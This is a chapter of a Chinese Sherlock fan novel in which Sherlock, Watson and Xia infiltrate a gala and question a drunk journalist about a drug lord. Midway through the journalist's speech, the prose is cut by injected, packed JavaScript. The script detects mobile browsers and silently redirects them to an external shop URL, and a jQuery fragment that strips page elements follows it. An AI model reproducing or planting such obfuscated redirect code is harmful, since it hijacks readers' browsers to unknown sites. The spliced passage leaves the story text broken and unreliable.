文趣网 > 都市小说 > [神探夏洛克]瘟疫游戏 > 14. 无赖也要*3
    三个无赖。

    偏偏还是三个技能全部点满的无赖。

    侦探、黑客、律师、医生、军人。

    身上全是社会高精尖人才标签,法律、智商、武力全精通,一个弱点都找不到。

    凯文在赤裸裸的威胁下不得不冒险带他们进入酒会,并临时为他们借出三身适合酒会的礼服。

    希娅换上露肩贴身鱼尾长裙从房间出来的时候,两位宽肩窄腰的精装帅哥已经在外头等待许久了。

    “漂亮。”华生一向诚实,从不吝啬赞美。

    也不知道凯文从哪里请的服装师,竟然在这么短的时间内就能帮他们把尺寸都修改好。

    女人偏柔和的脸和气质非常适合浅淡的颜色,披散的棕黑色长发下肌肤雪白,浅绿和鎏金色的衬托下她就像一朵盛放的茉莉花,优雅,气质,纯洁无瑕。

    造型师替她在侧边耳后绾了个温婉的花苞发髻,几缕弯弯的卷发顺下来落在精致小巧的肩上,正好能盖住她的锁骨。

    希娅认定凯文绝对收受了不少贿赂,两位男士身上的西装只要看上一眼就知道不是什么普通的货色。

    华生穿的是一件浅米色粉笔条纹西装搭配浅灰衬衫、深咖色西裤和白棕黑三色领带,标准的英伦的绅士风格,造型师替他抓出了一个时髦的银发背头。

    至于夏洛克,漆黑茂密的卷发无需过度打理,只需稍稍修剪。希娅上下打量他一通,一套深灰色威尔士亲王格纹西装,叠穿深灰色马甲和银灰色亮面真丝衬衫,巧思在于服装师搭配了一条暗红棕的领带,并且在马甲和内侧口袋间挂了一条简约的银制怀表链。

    他平时穿西装时本就冷峻,眼下的这套搭配更多了些贵气和忧郁的距离感,像是一只高贵的缅因猫。

    在希娅观察自己的时候,夏洛克礼貌地把视线从她精致的肩头挪开了,他突然觉得自己正置身于茉莉花丛里,渐渐有点缺氧的感觉。

    他伸手拧着领带,将这些都归咎于平时穿西装不喜欢扣第一颗扣子,所以现在穿得如此正式才会突然不习惯。

    “你们两个发什么呆?”华生催他们往前走,拉着袖子低头看手表,“约定的时间马上就要到了,我们还得先跟凯文碰头,套下说辞。”

    “我都想好了,我是凯文的律师朋友,你是凯文的医生朋友,而你是凯文聘请的咨询侦探,凯文这次把我们带过去,主要是想把我们引荐给阿德尔,这个说法怎么样?”

    夏洛克打开车门,一只手挡在她头顶送她进后座,“还算合理。”

    华生坐在副驾驶上说,“可以,凯文不是说今天参加酒会的人有一百来号吗?多我们三个出来应该没事的。”

    显然他们小看了自己的影响力。

    可能是服装师和造型师都太过卖力的缘故,加上三人形象本就出色,所以一进入会厅就吸引住了不少目光,上来搭讪的人一个接一个。

    “看可以,但是少说话,不要给我添麻烦!”这已经是凯文第三次提醒了,而这次主要的提醒对象是那位从来不听他说话的侦探。

    华生早就被几个女人团团围住,而夏洛克这次仍然把他的叮嘱当做耳旁风,独自走开,开始扫描晚宴上的所有人事物。

    纸醉金迷、富丽堂皇,看着室内的装饰摆设和头顶夸张的壁纸,希娅觉得仿佛置身于凡尔赛宫,自己打扮鲜妍的男男女女们聚集着碰杯聊天,一眼望去各色名牌包和配饰,长桌上每隔一段距离就放置着高脚烛灯,烛火明明灭灭,氛围恰到好处。

    “凯文!真难得看到你带人来,不介绍一下吗?这位美丽的小姐是?”有个穿着散漫的男人端着酒杯走过来,他的西装敞开,衬衫上面有三颗扣子都没扣上,胸膛因为酒精的关系泛着红色。

    “弗雷德,你怎么混进来的?”凯文语气有些厌烦。

    “这种有意思的宴会怎么能缺了我。”弗雷德看着年纪不大,但行为举止有些滑腔滑调的。“我需要收集情报。”

    “自我介绍一下,我叫弗雷德里克,是个记者。”

    “你好,我是警局的值班律师。”希娅大大方方地同他握手。

    “哦?那我怎么没见过你?”弗雷德疑惑,“上个星期我去警局还没见到过你啊。”

    “——哦凯文!凯文!你在这里!快过来!”远处有人伸手招呼,凯文犹豫了两秒,给了希娅一个警告的眼神后才离开应酬去了。

    希娅转回头,对弗雷德说,“因为我今天刚刚入职。”

    哦——

    弗雷德里克长长的哦了一声,“那是我误会了,我以为你和凯文有什么亲密关系呢。”

    希娅忍住内心的烦躁,温和道,“怎么了?凯文以前有过很多这方面的“故事”吗?”

    “我只能说,他不是个老实人。”弗雷德点到为止。

    希娅小脑瓜飞速转动,社交属性立刻上线,“看来咱们想到一块儿去了,不过这也难怪,这个物欲横流的社会里,谁在诱惑下还能保持清醒呢?”

    “你说到点子上了。”弗雷德哈哈一笑,“你看看你,一个律师,法律和正直的化身,不也来参加这个宴会了吗?”

    “没那么夸张吧?我只是来见见世面,又不准备做什么,怎么说得像是龙潭虎穴一样。”

    “不夸张,一点不夸张。”弗雷德仰头喝光杯子里的酒,“你得知道这个世界的运转逻辑,以权力和金钱为中心,你我只是运转所需要的润滑剂。而他们…是掌控者。嗯,我得记住现在的你,你这么漂亮这么聪明,融入他们应该只需要这一次机会。”

    “那你呢?刚听你和凯文的对话,你应该不止第一次出现在这种场合了吧?怎么样?有没有同流合污呢?”

    “嗯…”弗雷德摇摇晃晃,不知是不是因为喝多了酒,“我可不做狗仔那一套,太低端了,我只做我自己。”

    “所以你什么都敢报道咯?”

    “是啊。”他毫不犹豫点点头。

    “不怕被报复吗?”

    “不不不,单打独斗是很难的。”弗雷德又从侍者那里端来一杯香槟,“任何

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17980552|214822||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    英雄都需要一个助手,我有我的团队,只要我出事,他们就会立刻公开迄今为止所有掌握的信息,有人要除我,必定就有人要保我。”

    “那关于阿德尔·欧文,你知道多少?”

    “一个毒枭,一个经济罪犯,一个谋杀犯。”

    “谋杀?”

    弗雷德点点头,他凑近希娅,很轻很轻地说,“他杀过一个女人。”

    “你怎么知道?”希娅愣了愣。

    弗雷德没说话。

    “是谁?”

    “啊…你的表情好严肃好恐怖啊。”弗雷德还是没有回答问题,只是突然凑近她,“是不是害怕了?这才哪跟哪儿啊,来来来…”

    一只粘而湿的手毫不客气地搭上希娅的肩膀,弗雷德揽住她就要往小门走,“我们找个安静的地方说……”

    希娅被带着走了几步,突然感到肩膀一轻,弗雷德突然哎哟哎哟怪叫起来,随后一件带有体温的西装外套披上了她的肩膀。

    夏洛克不知何时从背后出现了,像幽灵一样无声无息。他一只手抓着弗雷德的手臂,另一只手在为她披好外套之后又抽出他的口袋巾递过来,全程没有看她。

    “擦擦。”他说。

    希娅低声道了谢,这是她最近第一次跟他好声好气的说话。

    “放手放手疼死我了…来人啊!救命啊!”弗雷德开始哀嚎。

    “约翰。”

    话音刚落。

    嘭。

    快而利索的一拳直击胸口,弗雷德刚放出来的声音立刻变成闷哼随后被吞回去,因为又一位幽灵——军医先生摆脱了女人们的包围圈,在关键时刻使用了武力输出。

    “嘘,嘘,深呼吸。”华生撑住了弗雷德欲倒下的身体,冷静地安抚,“放心吧,没有骨折,最多痛个两三天就能恢复。”

    希娅目瞪口呆,差点就要鼓掌。

    他们这里的情形很快引起了侍者的注意,上前询问状况。

    “不知道,他看起来像是喝多了。”夏洛克扣住他的手还没松开,直接把他的胳膊抬到肩膀上,“我们带他到外面去吧。”

    侍者:“让我来吧先生。”

    华生抗起他的另一条胳膊,对侍者微笑,“没关系,我们正好也要出去透透气,而且我是医生,可以照顾好他,放心吧。”

    弗雷德:“我没…呜呜呜呕呕……”

    “老天。”女人弯腰低头攥着手巾给醉酒的客人擦拭,她声音很是担忧,“怎么会喝那么多啊,快吐吧快吐吧,吐出来就好了。”

    希娅拿着手巾使劲往弗莱德的嘴里塞。

    “我们快出去吧,别把这的地板弄脏了。”华生对侍者笑笑,“麻烦让下路谢谢。”

    侍者忙挪开脚,犹犹豫豫地目送他们出门去了。

    出了长长的走廊走到后院,夏洛克和华生默契地把肩膀上的“负重”往地上一扔。

    “醒酒了吗弗雷德?”希娅把脏兮兮湿哒哒的方巾塞回西装口袋里,“还是想进泳池清醒一下?”